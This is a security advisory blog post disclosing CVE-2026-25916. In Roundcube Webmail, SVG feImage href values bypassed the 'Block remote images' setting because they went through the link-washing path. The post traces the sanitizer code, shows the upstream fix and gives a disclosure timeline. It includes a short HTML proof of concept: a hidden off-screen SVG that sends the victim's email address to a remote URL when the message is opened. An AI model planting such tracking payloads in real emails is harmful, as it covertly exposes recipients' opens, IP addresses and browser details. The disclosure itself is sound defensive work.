---
title: "Roundcube Webmail \u003c1.5.13 / \u003c1.6.13 allows attackers to force remote image loads via SVG feImage"
created_at: 2026-02-08
updated_at: 2026-02-09
description: "Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)"
tags: ["vulnerability","roundcube","svg","email-security"]
source: https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/
---


**TL;DR:** Roundcube's `rcube_washtml` sanitizer blocked external resources on `<img>`, `<image>`, and `<use>`, but not on `<feImage>`. Its `href` went through the wrong code path and got allowed through. Attackers could track email opens even when "Block remote images" was on. Fixed in 1.5.13 and 1.6.13.

## Vulnerability information

| Field | Value |
|-------|-------|
| **Vendor** | Roundcube |
| **Product** | Roundcube Webmail |
| **Affected versions** | < 1.5.13, 1.6.x < 1.6.13 |
| **CVE** | CVE-2026-25916 |
| **Disclosure date** | 2026-02-08 |

## Background

When `allow_remote` is false, Roundcube's sanitizer intercepts image-bearing attributes (`src` on `<img>`, `href` on `<image>` and `<use>`) and runs them through `is_image_attribute()`. That function blocks external URLs.

Separately, non-image URLs (like `<a href>`) go through `wash_link()`, which lets HTTP/HTTPS URLs through. That's fine for links the user clicks on intentionally.

## Discovery

I got bored during my christmas vacation and [this SVG-based XSS fix via the `animate` tag](https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12) appeared on my radar. One SVG bug usually means more.[^svg-surface] So I spent some time going through `rcube_washtml.php`, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.

`<feImage>` stood out.[^feimage] Its `href` gets fetched on render, same as `<img src>`. But the sanitizer sends it through `wash_link()` instead of `is_image_attribute()`.

So the "Block remote images" setting doesn't apply to it.

## Technical details

In `wash_attribs()`, every attribute hits a chain of checks. The first one that matches wins:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L310-L313)

```php
if ($this->is_image_attribute($node->nodeName, $key)) {
    $out = $this->wash_uri($value, true);  // blocks remote URLs
} elseif ($this->is_link_attribute($node->nodeName, $key)) {
    $out = $this->wash_link($value);        // allows http/https
}
```

Before the fix, `is_image_attribute()` looked like this:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L472-L481)

```php
private function is_image_attribute($tag, $attr)
{
    return $attr == 'background'
        || $attr == 'color-profile'
        || ($attr == 'poster' && $tag == 'video')
        || ($attr == 'src' && preg_match('/^(img|image|source|input|video|audio)$/i', $tag))
        || ($tag == 'use' && $attr == 'href')
        || ($tag == 'image' && $attr == 'href');
}
```

The `href` attribute is only matched for `use` and `image`. No `feimage`.

And `is_link_attribute()` is a catch-all[^catch-all]:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L459-L462)

```php
private function is_link_attribute($tag, $attr)
{
    return $attr === 'href';
}
```

So when the sanitizer encounters `<feImage href="https://...">`: `is_image_attribute('feimage', 'href')` returns false, `is_link_attribute('feimage', 'href')` returns true, and the URL goes through `wash_link()` which passes HTTP/HTTPS URLs straight through.

## Proof of concept

An invisible 1x1 SVG, positioned off-screen:

```html
<svg width="1" height="1" style="position:absolute;left:-9999px;">
  <defs>
    <filter id="t">
      <feImage href="https://httpbin.org/image/svg?email=victim@test.com"
               width="1" height="1"/>
    </filter>
  </defs>
  <rect filter="url(#t)" width="1" height="1"/>
</svg>
```

The browser evaluates the SVG filter and fires a GET to the attacker's URL.

## Impact

The "Block remote images" setting doesn't block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.

## Remediation

The fix ([`26d7677`](https://github.com/roundcube/roundcubemail/commit/26d7677)) collapses the two separate `use`/`image` checks into a single regex that includes `feimage`:

[rcube_washtml.php](https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L478)

```php
|| ($attr == 'href' && preg_match('/^(feimage|image|use)$/i', $tag)); // SVG
```

Now `<feImage href>` hits `is_image_attribute()` first, gets routed through `wash_uri()`, and the remote URL is blocked.

Update to 1.5.13 or 1.6.13.

## Timeline

| Date | Event |
|------|-------|
| 2026-01-04 | Reported to Roundcube |
| 2026-02-08 | 1.5.13 and 1.6.13 released |
| 2026-02-08 | This post |
| 2026-02-09 | CVE-2026-25916 assigned |

[^svg-surface]: The SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.
[^feimage]: It's an SVG filter primitive that loads an external image and uses it as input to a filter chain ([spec](https://www.w3.org/TR/SVG11/filters.html#feImageElement)). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.
[^catch-all]: This matches `href` on every element, including `<feImage>`. That's the root cause.
